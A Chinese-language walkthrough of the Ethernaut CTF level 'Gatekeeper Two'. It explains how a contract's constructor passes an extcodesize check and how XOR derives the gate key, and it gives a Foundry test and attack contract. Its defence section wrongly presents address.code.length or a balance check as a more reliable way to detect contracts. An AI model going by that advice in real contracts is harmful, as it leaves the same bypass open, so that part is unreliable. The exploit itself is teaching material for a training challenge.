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Ethernaut Level 14: Gatekeeper Two - 合约创建时的 extcodesize

news 2025/10/28 10:37:40

🎯 Ethernaut Level 14: Gatekeeper Two - 合约创建时的 extcodesize

关卡链接: Ethernaut Level 14 - Gatekeeper Two
攻击类型: extcodesize / constructor 交互
难度: ⭐⭐⭐⭐☆

📋 挑战目标

与上一关类似，我们需要再次通过三个 modifier 的检查，成为 entrant。

Gatekeeper Two Challenge

🔍 漏洞分析

要通过此关卡，我们需要调用 enter(bytes8 _gateKey) 函数，并绕过它的三个 modifier。

Modifier 1: `gateOne`

modifier gateOne() {require(msg.sender != tx.origin);_;
}

与第13关完全相同。我们需要通过一个中间合约来调用 enter 函数，以确保 msg.sender 是合约地址，而 tx.origin 是我们的EOA地址。

Modifier 2: `gateTwo`

modifier gateTwo() {uint x;assembly {x := extcodesize(caller())}require(x == 0);_;
}

这个 modifier 使用内联汇编检查 caller() 的 extcodesize 是否为0。caller() 返回的是直接调用者的地址（在我们的场景中，就是攻击合约的地址），而 extcodesize 返回该地址关联的代码大小。

如果调用者是一个已经部署的合约，extcodesize 会返回一个大于0的值。
如果调用者是一个外部账户（EOA），extcodesize 返回0。

这与 gateOne 的要求（msg.sender 必须是合约）产生了矛盾。我们如何才能让一个合约地址的 extcodesize 为0呢？

答案在于合约的创建过程：当一个合约的 constructor 正在执行时，该合约的代码尚未完全部署到链上，因此此时对该合约地址调用 extcodesize 会返回0。

因此，我们必须在攻击合约的 constructor 内部调用目标合约的 enter 函数。

Modifier 3: `gateThree`

modifier gateThree(bytes8 _gateKey) {require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);_;
}

这个 modifier 包含一个有趣的异或（XOR）逻辑。让我们简化一下：

A ^ B = C

其中：

A 是 uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
B 是 uint64(_gateKey)
C 是 type(uint64).max (即 0xFFFFFFFFFFFFFFFF)

根据异或运算的性质，如果 A ^ B = C，那么 A ^ C = B。

因此，我们可以通过计算 A ^ C 来得到我们需要的 _gateKey。

_gateKey = uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max

由于 msg.sender 是我们的攻击合约地址，我们可以在攻击合约的 constructor 中计算出这个值。

💻 Foundry 实现

攻击合约代码

我们的攻击合约非常简洁。它在 constructor 中完成所有的工作：计算 gateKey 并立即调用目标实例的 enter 函数。

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/14_GatekeeperTwo.sol";// Foundry 测试合约
contract GatekeeperTwoTest is Test {GatekeeperTwo instance;Attack attacker;address player1;function setUp() public {player1 = vm.addr(1);instance = new GatekeeperTwo();}function testAttacker() public {vm.startPrank(player1, player1);// 部署攻击合约时，其构造函数会自动执行攻击attacker = new Attack(address(instance));// 验证攻击是否成功assertEq(instance.entrant(), player1);vm.stopPrank();}
}// 攻击合约
contract Attack {constructor(address _instanceAddress) {GatekeeperTwo instance = GatekeeperTwo(_instanceAddress);// 计算 gateKey// A ^ C = Buint64 keyPart = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));uint64 max_uint = type(uint64).max; // 0xFFFFFFFFFFFFFFFFbytes8 gateKey = bytes8(keyPart ^ max_uint);// 在构造函数中调用 enter 函数instance.enter(gateKey);}
}

关键攻击步骤

创建攻击合约: 攻击逻辑完全包含在 constructor 中。
在 constructor 中调用: 这是关键。在 constructor 中调用 enter 函数，此时 extcodesize(address(this)) 为0，绕过了 gateTwo。
计算 _gateKey: 在 constructor 中，使用 address(this) 作为 msg.sender 来计算 keccak256 哈希，并通过XOR运算得到正确的 _gateKey，从而绕过 gateThree。
部署即攻击: 部署攻击合约的交易一旦成功，攻击就完成了，entrant 将被设置为我们的EOA地址。

🛡️ 防御措施

避免使用 extcodesize 进行合约检查: 正如本例所示，extcodesize 可以被 constructor 调用绕过。一个更可靠的检查方法是判断 address.balance > 0 或者 address.code.length > 0（在Solidity 0.8.10及更高版本中）。
对 caller 的额外检查: 如果确实需要阻止合约调用，可以结合 tx.origin == msg.sender 的检查，但这会限制合约的可组合性。
简化密钥验证: 复杂的密钥派生逻辑（如本例中的XOR）可能看起来安全，但如果所有输入都来自链上，攻击者通常可以逆向工程出正确的密钥。应使用链下签名等更安全的机制。

🔧 相关工具和技术

constructor: 合约的构造函数，仅在合约部署时执行一次。理解其在生命周期中的特殊性（如 extcodesize 为0）是解决此类挑战的关键。
extcodesize: 一个EVM操作码，用于获取地址的代码大小。是区分EOA和合约的常用方法，但有其局限性。
异或运算 (^): 一种位运算符，在密码学和哈希操作中很常见。理解其 A ^ B = C <=> A ^ C = B 的性质对于解决 gateThree 至关重要。